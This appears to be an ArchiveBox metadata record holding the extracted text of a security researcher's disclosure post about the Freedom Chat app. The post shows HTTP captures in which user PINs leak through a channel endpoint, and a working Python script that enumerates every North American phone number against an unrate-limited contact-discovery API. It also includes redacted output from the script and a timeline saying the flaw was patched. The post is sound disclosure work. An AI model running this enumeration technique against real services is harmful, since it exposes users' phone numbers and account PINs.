                    "--write-thumbnail",
                    "--no-call-home",
                    "--write-sub",
                    "--write-auto-subs",
                    "--convert-subs=srt",
                    "--yes-playlist",
                    "--continue",
                    "--no-abort-on-error",
                    "--ignore-errors",
                    "--geo-bypass",
                    "--add-metadata",
                    "--format=(bv*+ba/b)[filesize<=750m][filesize_approx<=?750m]/(bv*+ba/b)",
                    "--skip-download",
                    "--cache-dir=/data/yt-dlp-cache/",
                    "--cookies=/data/yt-dlp-cache/cookies.txt",
                    "--proxy=socks5://tor-socks-proxy:9150",
                    "--no-playlist",
                    "https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/"
                ],
                "cmd_version": "2024.10.7",
                "end_ts": "2025-12-16T13:37:21.222557+00:00",
                "index_texts": [],
                "output": "media/",
                "pwd": "/data/archive/1765892158.604697",
                "schema": "ArchiveResult",
                "start_ts": "2025-12-16T13:37:15.739583+00:00",
                "status": "succeeded"
            }
        ],
        "mercury": [
            {
                "cmd": [
                    "/home/archivebox/.npm/bin/postlight-parser",
                    "https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/"
                ],
                "cmd_version": "2.2.3",
                "end_ts": "2025-12-16T13:37:10.343725+00:00",
                "index_texts": null,
                "output": "mercury/",
                "pwd": "/data/archive/1765892158.604697",
                "schema": "ArchiveResult",
                "start_ts": "2025-12-16T13:36:55.934241+00:00",
                "status": "succeeded"
            }
        ],
        "pdf": [],
        "readability": [
            {
                "cmd": [
                    "/home/archivebox/.npm/bin/readability-extractor",
                    "/tmp/tmpk0ynlqo6",
                    "https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/"
                ],
                "cmd_version": "0.0.11",
                "end_ts": "2025-12-16T13:36:35.623167+00:00",
                "index_texts": [
                    "Neither of us had prior experience developing mobile apps, but we thought, \u201cHey, we\u2019re both smart. This shouldn\u2019t be too difficult.\u201d\n\n\nFreedom Chat CEO Tanner Haas\n\nBackground# \nOnce upon a time, in the distant memory that is 2023, a new instant messaging app called Converso was launched. Converso made some pretty impressive claims about its security: it claimed to implement state of the art end-to-end encryption, to collect no metadata, and to use a decentralized architecture that involved no servers at all. Unfortunately, security researcher crnkovi\u0107 did some basic reverse engineering and traffic analysis and found all of these claims to be completely baseless, with Converso collecting plenty of metadata on every message and using a third-party E2EE provider to store messages on bog standard centralized servers. Even more unfortunately, crnkovi\u0107 also found that Converso implemented the (perfectly functional if used properly) Seald E2EE service in such a way that encrypted messages\u2019 keys could be derived from publicly available information, and also uploaded a copy of every encrypted message to an open Firebase bucket, meaning every message ever sent on the service could be trivially read by anyone with an Internet connection. After being informed of the vulnerabilities, Converso initially released an update claiming to fix them, then withdrew from the App Store and Google Play to \u201caddress and improve the issues.\u201d\nNot one to give up after a setback, Converso CEO Tanner Haas took a break from self-publishing books on how to achieve and receive anything you want to regroup and relaunch, as well as to bless the world with a lessons learned blog post describing his decision to rebrand after realizing that \u201cprivacy concerns were primarily coming from conservative circles,\u201d and imparting nuggets of wisdom such as \u201caccept criticism and get better: don\u2019t complain\u201d and \u201censure the product has been thoroughly tested and is ready for prime-time.\u201d Presumably he hadn\u2019t learned the first one yet when he responded to crnkovi\u0107\u2019s responsible disclosure with vague legal threats and accusations of being a Signal shill. Let\u2019s see how the second is going.\nPart 0: Setup# \nAs usual, I start out by downloading the app from Google Play and running it while monitoring traffic with HTTP Toolkit. I quickly ran into Freedom Chat\u2019s first security feature: as detailed on their website, the app \u201cprevent[s] screenshots and screen recordings entirely with built-in screenshot protection,\u201d perhaps to accomodate conservatives\u2019 complicated relationship with screenshots. Screenshots aren\u2019t really crucial to anything being discussed here, but I like to provide only the best blog posts to my tens of readers, so let\u2019s hook the app with Frida and disable the FLAG_SECURE attribute. With that out of the way, the signup process works as expected for an instant messaging app - we type in a phone number, get texted a 2FA code, and enter it to create an account. We\u2019re asked whether we want to create a PIN, which is apparently optional to log in on my own phone and required if we want to restore our account on another device, then get to the main UI of the app. There are two main features here: a Chat pane where we can start chats with contacts, and a Channels pane where we can subscribe to user-run microblogging channels \u00e0 la Telegram.\n\n\n\nPart 1: Exploration# \nLet\u2019s start out with the basics and have a conversation with a second account. Sending a text message triggers the following exchange:\n\n\n\n\n    /message request\n    HTTPMETHOD: POST\nURL: https://eagle.freedomchat.com/message\nUser-Agent: okhttp/4.12.0\nAccept: application/json, text/plain, */*\nAccept-Encoding: gzip\nContent-Type: application/json\nAuthorization: Bearer <JWT that was generated for us at login>\nConnection: keep-alive\n\n{\n  \"sendId\": \"bdbf9ef7-aaca-4a57-8c4e-5fe978205299\",\n  \"type\": \"text\",\n  \"files\": [],\n  \"isEncrypted\": true,\n  \"createdAt\": \"2025-11-20T21:12:09.180Z\",\n  \"chatId\": \"64b9a972-4232-4026-a037-8848909b264d\",\n  \"content\": \"{\\\"sessionId\\\":\\\"5900c62e-8819-43d7-a6fe-a1745c425bf3\\\",\\\"data\\\":\\\"5wNaCjU3Y0XOvwA9eCuejjJrxRGFNhr+dlnkmeWQcqpxPyfeueVlfVUihifjG33q5HrMMT4ex85c9W4iZcNziXPvVtrs1VrEW2ZWonccOdmXB91ONgLuG0fRjGoc3IFN\\\"}\"\n}\n\nSTATUS: 201 CREATED\n\n{\n  \"message\": {\n    \"id\": \"f1e3a08a-fc8f-4268-b6a8-36ab6abc0464\",\n    \"content\": \"{\\\"sessionId\\\":\\\"5900c62e-8819-43d7-a6fe-a1745c425bf3\\\",\\\"data\\\":\\\"5wNaCjU3Y0XOvwA9eCuejjJrxRGFNhr+dlnkmeWQcqpxPyfeueVlfVUihifjG33q5HrMMT4ex85c9W4iZcNziXPvVtrs1VrEW2ZWonccOdmXB91ONgLuG0fRjGoc3IFN\\\"}\",\n    \"user\": {\n      \"uid\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\n      \"userName\": null,\n      \"phoneNumber\": \"+13322699625\",\n      \"isBlocked\": false,\n      \"sealdKey\": \"180cc149-5bc6-406b-b32e-4afaadff2f47\",\n      \"keyChangedAt\": \"2025-11-20T21:06:31.308Z\",\n      \"createdAt\": \"2025-11-20T21:06:07.041Z\",\n      \"updatedAt\": \"2025-11-20T21:06:31.311Z\"\n    },\n    \"role\": \"user\",\n    \"type\": \"text\",\n    \"sendId\": \"bdbf9ef7-aaca-4a57-8c4e-5fe978205299\",\n    \"chatId\": \"64b9a972-4232-4026-a037-8848909b264d\",\n    \"channelId\": null,\n    \"erased\": false,\n    \"isEdited\": false,\n    \"isEncrypted\": true,\n    \"parent\": null,\n    \"selfDestructInSec\": null,\n    \"destructAt\": null,\n    \"createdAt\": \"2025-11-20T21:12:09.180Z\",\n    \"updatedAt\": \"2025-11-20T21:12:12.638Z\",\n    \"updateAction\": \"insert\",\n    \"updateItem\": \"message\",\n    \"updateValue\": null,\n    \"updateUserId\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\n    \"statuses\": [\n      {\n        \"id\": \"4a1217f4-ab16-4f63-964d-4afd5cdd6b86\",\n        \"recipient\": {\n          \"uid\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\n          \"userName\": null,\n          \"phoneNumber\": \"+13322699625\",\n          \"isBlocked\": false,\n          \"sealdKey\": \"180cc149-5bc6-406b-b32e-4afaadff2f47\",\n          \"keyChangedAt\": \"2025-11-20T21:06:31.308Z\",\n          \"createdAt\": \"2025-11-20T21:06:07.041Z\",\n          \"updatedAt\": \"2025-11-20T21:06:31.311Z\"\n        },\n        \"recipientId\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\n        \"delivered\": false,\n        \"deliveredAt\": null,\n        \"read\": false,\n        \"readAt\": null\n      },\n      {\n        \"id\": \"3e6a8549-c2f7-41ca-8acc-3baa7fc51457\",\n        \"recipient\": {\n          \"uid\": \"5414cf2c-3f03-46b2-aa16-9e322359cafb\",\n          \"userName\": null,\n          \"phoneNumber\": \"+13095416781\",\n          \"isBlocked\": false,\n          \"sealdKey\": \"c1d370b9-2323-456d-b4ce-eac3e30014e2\",\n          \"keyChangedAt\": \"2025-11-20T19:59:10.095Z\",\n          \"createdAt\": \"2025-11-20T19:58:00.462Z\",\n          \"updatedAt\": \"2025-11-20T20:59:02.686Z\"\n        },\n        \"recipientId\": \"5414cf2c-3f03-46b2-aa16-9e322359cafb\",\n        \"delivered\": true,\n        \"deliveredAt\": null,\n        \"read\": false,\n        \"readAt\": null\n      }\n    ]\n  },\n  \"assets\": []\n}\n\nThis is the encrypted and Base64-encoded text we sent, along with some metadata for things like read receipts and editing and the identifiers needed for decryption (they\u2019re using the same Seald backend that Converso had, without uploading everything to Firebase this time). Sending a photo and a voice message yields similar results.\nWhile verifying that they\u2019re using Seald properly this time would require painstakingly decompiling and reverse engineering React Native\u2019s Hermes VM bytecode, at a high level this seems fine. Let\u2019s move on to the Channels feature. When we open the tab, we see that we\u2019ve already been added to a Freedom Chat\nchannel, which mostly posts about updates to the app and related media coverage.\n\n\n\nWe\u2019re also suggested a handful of other channels to join, including that of Tanner Haas and some people who are apparently conservative influencers. Tanner mostly seems to use his to post fascinating political takes:\n\n\n\nPart 2: Leaking everyone\u2019s PIN# \nWhen we open a channel, the following request and massive response happen:\n\n\n\n\n    /channel request\n    HTTPMETHOD: POST\nURL: https://eagle.freedomchat.com/channel?take=1000&skip=0&timestamp=1764377818411\nUser-Agent: okhttp/4.12.0\nAccept: application/json, text/plain, */*\nAccept-Encoding: gzip\nContent-Type: application/json\nAuthorization: Bearer <JWT that was generated for me at login>\nConnection: keep-alive\n\nSTATUS: 200 OK\n\n{\n  \"data\": [\n    {\n      \"id\": \"b0fcab24-36ed-4dae-8f6b-07c5d96606ae\",\n      \"name\": \"Freedom Chat\",\n      \"verified\": true,\n      \"recommended\": true,\n      \"forTest\": false,\n      \"description\": \"The official channel of Freedom Chat Inc. \ud83e\udd85\ud83c\uddfa\ud83c\uddf8\",\n      \"isScreenshotProtected\": true,\n      \"isMediaSaveDisabled\": false,\n      \"messageSelfDestruct\": null,\n      \"createdAt\": \"2025-06-06T22:33:58.609Z\",\n      \"updatedAt\": \"2025-11-11T15:05:56.565Z\",\n      \"coverImage\": {\n        \"id\": \"3c52569b-d9ba-4695-9469-c39c0bd6a95b\",\n        \"key\": \"AC2E2C9C-B23D-4EEC-8F35-39ED2E3D002C-47bce191-d213-4c9f-8c09-c8095935632d.png\",\n        \"mimeType\": \"image/png\",\n        \"url\": \"https://fc-media.object.us-east-1.rumble.cloud/AC2E2C9C-B23D-4EEC-8F35-39ED2E3D002C-47bce191-d213-4c9f-8c09-c8095935632d.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=5rT0Vph76SOrvs39XKPfHBrwaFFZ2daB%2F20251128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20251128T161557Z&X-Amz-Expires=86400&X-Amz-Signature=3f976f4cf09177c28f1060203e3ac6bcdf87932badc5c601cb39b428a1e96a9d&X-Amz-SignedHeaders=host&x-amz-checksum-mode=ENABLED&x-id=GetObject\",\n        \"createdAt\": \"2025-06-06T22:33:58.605Z\",\n        \"updatedAt\": \"2025-11-28T16:15:57.150Z\"\n      },\n      \"creator\": {\n        \"uid\": \"fce31a02-17b6-4298-9be4-<redacted for publication>\",\n        \"userName\": \"freedomchat\",\n        \"pin\": \"<six digit code redacted for publication>\",\n        \"pinBackoffDate\": \"2025-11-07T23:37:09.265Z\",\n        \"pinBackoffNb\": 0,\n        \"isBlocked\": false,\n        \"sealdKey\": \"956acbdf-925f-47b6-8323-<redacted for publication>\",\n        \"keyChangedAt\": \"2025-09-21T14:48:08.778Z\",\n        \"createdAt\": \"2025-06-06T15:28:50.364Z\",\n        \"updatedAt\": \"2025-11-20T17:52:16.117Z\"\n      },\n      \"members\": [\n        {\n          \"channelId\": \"b0fcab24-36ed-4dae-8f6b-07c5d96606ae\",\n          \"userUid\": \"9646aae0-956b-4252-993e-<redacted for publication>\",\n          \"isMuted\": false,\n          \"isScreenshotProtected\": true,\n          \"isMediaSaveDisabled\": false,\n          \"isDeleted\": false,\n          \"isAdmin\": false,\n          \"createdAt\": \"2025-08-22T20:19:43.835Z\",\n          \"updatedAt\": \"2025-08-22T20:19:43.835Z\",\n          \"user\": {\n            \"uid\": \"9646aae0-956b-4252-993e-<redacted for publication>\",\n            \"userName\": null,\n            \"pin\": \"<six digit code redacted for publication>\",\n            \"pinBackoffDate\": null,\n            \"pinBackoffNb\": 0,\n            \"isBlocked\": false,\n            \"sealdKey\": \"e2ce450b-9701-4750-ad95-<redacted for publication>\",\n            \"keyChangedAt\": \"2025-10-13T17:54:16.222Z\",\n            \"createdAt\": \"2025-06-07T13:32:09.371Z\",\n            \"updatedAt\": \"2025-10-13T17:54:37.187Z\"\n          }\n        },\n        {\n          \"channelId\": \"b0fcab24-36ed-4dae-8f6b-07c5d96606ae\",\n          \"userUid\": \"8e4291dd-be77-43df-8227-<redacted for publication>\",\n          \"isMuted\": false,\n          \"isScreenshotProtected\": true,\n          \"isMediaSaveDisabled\": false,\n          \"isDeleted\": false,\n          \"isAdmin\": false,\n          \"createdAt\": \"2025-09-24T05:51:43.793Z\",\n          \"updatedAt\": \"2025-09-24T05:51:43.793Z\",\n          \"user\": {\n            \"uid\": \"8e4291dd-be77-43df-8227-<redacted for publication>\",\n            \"userName\": null,\n            \"pin\": \"<six digit code redacted for publication>\",\n            \"pinBackoffDate\": null,\n            \"pinBackoffNb\": 0,\n            \"isBlocked\": false,\n            \"sealdKey\": \"eecd08da-e119-49e5-9f88-<redacted for publication>\",\n            \"keyChangedAt\": \"2025-09-24T05:50:02.186Z\",\n            \"createdAt\": \"2025-09-24T05:49:14.769Z\",\n            \"updatedAt\": \"2025-09-24T05:50:02.185Z\"\n          }\n        },\n\n        ...,\n        ]\n    ]\n}\n\nThe members array has 1519 entries in that format, apparently one for each member of the channel. What\u2019s going on in that user object? The pin field seems suspiciously related to the PIN we were asked to input after creating our account\u2026 To confirm, we can sort the array by createdAt and find that the most recent entry does indeed have the PIN we just set when making our account. So\nanyone who\u2019s in a channel (i.e. anyone who hasn\u2019t left the default Freedom Chat channel) has their PIN broadcast to every other user! There\u2019s no direct link between PINs and phone numbers here, but this is still not great.\nPart 3: So much more secure than WhatsApp# \nIf we scroll back a bit in the Freedom Chat channel, we see this message dunking on WhatsApp:\n\n\n\nThe vulnerability they\u2019re talking about was presented in a paper by researchers at the University of Vienna. The paper is interesting and you should go read it, but to summarize, WhatsApp failed to rate limit the API that eats up every phone number in your contacts and checks whether\nthey also use WhatsApp or not. Researchers were thus able to test nearly every possible phone number in the world, and end up with a dump of every WhatsApp user\u2019s phone number, along with some other metadata. It\u2019s interesting that Freedom Chat isn\u2019t vulnerable to this, because they have the same contact discovery feature WhatsApp does, with the app offering you to either start a chat\nor invite each of your contacts depending on whether they already have an account:\n\n\n\nLet\u2019s find out for ourselves. When we open this contacts page, the following request-response happens:\n\n\n\n\n    /user/numbers request\n    HTTPMETHOD: POST\nURL: https://eagle.freedomchat.com/user/numbers\nUser-Agent: okhttp/4.12.0\nAccept: application/json, text/plain, */*\nAccept-Encoding: gzip\nContent-Type: application/json\nAuthorization: Bearer <JWT that was generated for me at login>\nConnection: keep-alive\n\n{\n  \"numbers\": [\n    \"+13322699625\",\n    \"+13095416781\",\n    \"+16042771111\"\n  ]\n}\n\nSTATUS: 201 CREATED\n\n[\n  {\n    \"uid\": \"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\n    \"phoneNumber\": \"+13322699625\",\n    \"sealdKey\": \"1eea159c-620f-4561-95e8-2918e7d891fc\"\n  },\n  {\n    \"uid\": \"5414cf2c-3f03-46b2-aa16-9e322359cafb\",\n    \"phoneNumber\": \"+13095416781\",\n    \"sealdKey\": \"c1d370b9-2323-456d-b4ce-eac3e30014e2\"\n  }\n]\n\nThe first two numbers in the request are the two we used to register Freedom Chat accounts. The third is a number we didn\u2019t register, as a control. A couple things are interesting here. Most obviously, this is exactly the WhatsApp API the Vienna researchers exploited, and will contain the same vulnerability if not rate limited. This endpoint also provides a linkage\nbetween phone numbers and UIDs - if we could run every registered phone number through it, we could get each number\u2019s UID and match it to the UIDs in the Channels response to get that number\u2019s PIN, entirely defeating the PIN mechanism. Now we just need to test whether it\u2019s rate limited\nPart 4: Exploit# \n\n\n\n\n    Freedom Chat enumeration script\n    pythonimport itertools\nimport pandas as pd\nimport json\nimport requests\nimport datetime\nimport random\n\nfrom time import sleep\n\narea_codes = [\n    201, 202, 203, 205, 206, 207, 208, 209, 210, 212, 213, 214, 215, 216, 217, 218, 219, 224, 225, 228, 229, 231, 234, 239, 240, 242, 248, 251, 252, 253, 254, 256, 260, 262, 267, 269, 270, 276, 281, 283, 301, 302, 303, 304, 305, 307, 308, 309, 310, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 323, 325, 327, 330, 331, 334, 336, 337, 339, 340, 346, 347, 351, 352, 360, 361, 386, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 412, 413, 414, 415, 417, 418, 419, 423, 424, 425, 430, 432, 434, 435, 440, 443, 458, 469, 470, 475, 478, 479, 480, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 512, 513, 514, 515, 516, 517, 518, 520, 530, 540, 541, 551, 559, 561, 562, 563, 564, 567, 570, 571, 573, 574, 575, 580, 585, 586, 601, 602, 603, 605, 606, 607, 608, 609, 610, 612, 614, 615, 616, 617, 618, 619, 620, 630, 631, 636, 641, 646, 650, 651, 657, 660, 661, 662, 667, 669, 678, 681, 682, 701, 702, 703, 704, 705, 706, 707, 708, 712, 713, 714, 715, 716, 717, 718, 719, 720, 724, 727, 731, 732, 734, 740, 747, 754, 757, 760, 762, 763, 765, 770, 772, 773, 774, 775, 781, 784, 785, 786, 787, 801, 802, 803, 804, 805, 806, 808, 810, 812, 813, 814, 815, 816, 817, 818, 828, 830, 831, 832, 843, 845, 847, 848, 850, 856, 857, 858, 859, 860, 862, 863, 864, 865, 870, 872, 873, 876, 877, 878, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 912, 913, 914, 915, 916, 917, 918, 919, 920, 925, 928, 931, 937, 940, 941, 947, 951, 952, 954, 956, 970, 971, 972, 973, 975, 978, 979, 980, 985, 989\n]\n\ndigits = (\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\",\"8\", \"9\")\norig_combinations = pd.Series([\"\".join(x) for x in itertools.product(digits, repeat=7)])\norig_combinations = orig_combinations[~orig_combinations.str.startswith(\"0\") & ~orig_combinations.str.startswith(\"1\")]\n\nwith open(\"freedom_enum_log.txt\", \"w\") as logfile:\n\trandom.shuffle(area_codes)\n\tfor ac in area_codes:\n\t\tlogfile.write(f\"Starting area code {ac}\\n\")\n\t\tcombinations = [\"+1\" + str(ac) + ''.join(c) for c in list(orig_combinations)]\n\n\t\turl = \"https://eagle.freedomchat.com/user/numbers\"\n\t\tauthToken = \"initial auth token\"\n\t\trefreshToken = \"initial refresh token\"\n\n\t\tfor i in range(0, 8000000, 40000):\n\t\t\ttranche = combinations[i:i+40000]\n\t\t\ttranche.append(\"+13322699625\")\n\t\t\tpayload = { \"numbers\": tranche }\n\t\t\theaders = {\n\t\t\t\t\"accept\": \"application/json, text/plain, */*\",\n\t\t\t\t\"authorization\": f\"Bearer {authToken}\",\n\t\t\t\t\"content-type\": \"application/json\",\n\t\t\t\t\"host\": \"eagle.freedomchat.com\",\n\t\t\t\t\"connection\": \"Keep-Alive\",\n\t\t\t\t\"accept-encoding\": \"gzip\",\n\t\t\t\t\"user-agent\": \"okhttp/4.12.0\"\n\t\t\t}\n\n\t\t\tresponse = requests.post(url, json=payload, headers=headers)\n\t\t\tif \"Unauthorized\" in response.text:\n\t\t\t\trefreshResponse = requests.post(\"https://eagle.freedomchat.com//auth/refresh\", json={\"refreshToken\": refreshToken})\n\t\t\t\tauthToken = refreshResponse.json()[\"accessToken\"]\n\t\t\t\trefreshToken = refreshResponse.json()[\"refreshToken\"]\n\t\t\t\tresponse = requests.post(url, json=payload, headers=headers)\n\t\t\tif response.text.count(\"uid\") != 1:\n\t\t\t\tlogfile.write(response.text + \"\\n\")\n\t\t\tif response.elapsed > datetime.timedelta(seconds=3):\n\t\t\t\tlogfile.write(f\"Getting slow! {response.elapsed}\\n\")\n\t\t\tlogfile.flush()\n\t\tlogfile.write(f\"Done area code {ac}\\n\")\n\t\tcombinations = []\n\nThis is pretty self-explanatory. We generate every valid 7-digit North American phone number, then for every area code, send every number in batches of 40000, plus a number we registered so we can check for false empty responses. We log\nresponses that don\u2019t contain the string \u201cuid\u201d exactly once; if a response contains it 0 times it has failed to produce our registered number and is thus faulty somehow, if a response contains it 2+ times we have found another number. We also\nreauthenticate as needed and note if we start to slow down the server at all. Yes, there are a million ways to make this concurrent and faster, but we\u2019re trying to enumerate not DDOS their server, and at ~1.5 seconds average RTT we should be able\nto test every American phone number in about a day.\nThe log file starts to fill up with entries within a few minutes:\nStarting area code 305\n[{\"uid\":\"08171874-4b15-47d8-aa78-<redacted for publication>\",\"phoneNumber\":\"+13052<redacted for publication>\",\"sealdKey\":\"941bb3f1-a7e1-4565-a302-<redacted for publication>\"},{\"uid\":\"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\"phoneNumber\":\"+13322699625\",\"sealdKey\":\"c0b5fb1c-c1ea-4177-872d-159ff524328b\"}]\n[{\"uid\":\"abde2596-80df-4e87-993d-<redacted for publication>\",\"phoneNumber\":\"+13053<redacted for publication>\",\"sealdKey\":\"643c55e4-badd-4932-9051-<redacted for publication>\"},{\"uid\":\"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\"phoneNumber\":\"+13322699625\",\"sealdKey\":\"c0b5fb1c-c1ea-4177-872d-159ff524328b\"}]\n[{\"uid\":\"64ef67ef-d4b2-4545-9592-<redacted for publication>\",\"phoneNumber\":\"+13054<redacted for publication>\",\"sealdKey\":\"38d04de8-752f-4214-b8be-<redacted for publication>\"},{\"uid\":\"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\"phoneNumber\":\"+13322699625\",\"sealdKey\":\"c0b5fb1c-c1ea-4177-872d-159ff524328b\"}]\n[{\"uid\":\"b0366897-bfeb-474d-9c15-<redacted for publication>\",\"phoneNumber\":\"+13057<redacted for publication>\",\"sealdKey\":\"06dfc59c-2318-4419-93d1-<redacted for publication>\"},{\"uid\":\"0a0d27ff-9c3e-46f6-a3e3-a22ebaedfac6\",\"phoneNumber\":\"+13322699625\",\"sealdKey\":\"c0b5fb1c-c1ea-4177-872d-159ff524328b\"}]\nTime to go do something else for a while. Just over 27 hours and one ill-fated attempt at early season ski touring later, the script has finished happily, the logfile is full of entries, and no request has failed or taken longer than 3 seconds. So much for rate limiting. We\u2019ve leaked\nevery Freedom Chat user\u2019s phone number, and unless they happened to leave the default channel, we\u2019ve also matched their phone number to their PIN, rendering the entire PIN feature pointless.\nTimeline# \n\n2025-11-23: vulnerability discovered\n2025-12-04: disclosed to Freedom Chat support by Zack Whittaker\n2025-12-05: Freedom Chat responds clarifying that PINs don\u2019t allow restoring past messages, only logging into the account, and that they \u201chad already been implementing additional audit procedures following the Vienna exploit,\u201d promises fixes by next week\n2025-12-09: Freedom Chat notifies us issues have been patched\n2025-12-11: publication here and at TechCrunch"
                ],
                "output": "readability/",
                "pwd": "/data/archive/1765892158.604697",
                "schema": "ArchiveResult",
                "start_ts": "2025-12-16T13:36:27.227276+00:00",
                "status": "succeeded"
            }
        ],
        "screenshot": [],
        "singlefile": [],
        "title": [
            {
                "cmd": [
                    "/usr/bin/curl",
                    "--silent",
                    "--location",
                    "--compressed",
                    "--proxy",
                    "socks5://tor-socks-proxy:9150",
                    "--max-time",
                    "60",
                    "--user-agent",
                    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 ArchiveBox/{VERSION} (+https://github.com/ArchiveBox/ArchiveBox/)",
                    "https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/"
                ],
                "cmd_version": "8.10.1",
                "end_ts": "2025-12-16T13:36:26.408355+00:00",
                "index_texts": null,
                "output": "\"Super secure\" MAGA-themed messaging app leaks everyone's phone number :: Eric Daigle",
                "pwd": "/data/archive/1765892158.604697",
                "schema": "ArchiveResult",
                "start_ts": "2025-12-16T13:36:26.306942+00:00",
                "status": "succeeded"
            }
        ],
        "wget": []
    },
    "icons": null,
    "is_archived": true,
    "is_static": false,
    "latest": {
        "archive_org": "https://web.archive.org/web/20251216125021/https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/",
        "dom": "output.html",
        "favicon": "favicon.ico",
        "git": null,
        "media": "media/",
        "pdf": null,
        "screenshot": null,
        "singlefile": null,
        "title": "\"Super secure\" MAGA-themed messaging app leaks everyone's phone number :: Eric Daigle",
        "warc": null,
        "wget": null
    },
    "link_dir": "/data/archive/1765892158.604697",
    "newest_archive_date": "2025-12-16T13:37:21.272796+00:00",
    "num_failures": 0,
    "num_outputs": 9,
    "oldest_archive_date": "2025-12-16T13:36:07.972862+00:00",
    "path": "/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/",
    "schema": "Link",
    "scheme": "https",
    "snapshot_abid": "snp_01KCKNZX6DE621B51201ZG67QC",
    "snapshot_id": "26ccedd3-4009-4778-97a4-9ff03f031eec",
    "sources": [
        "/data/sources/1765892153-import.txt"
    ],
    "tags": null,
    "tags_str": "",
    "timestamp": "1765892158.604697",
    "title": "\"Super secure\" MAGA-themed messaging app leaks everyone's phone number :: Eric Daigle",
    "url": "https://ericdaigle.ca/posts/super-secure-maga-messaging-app-leaks-everyones-phone-number/"
}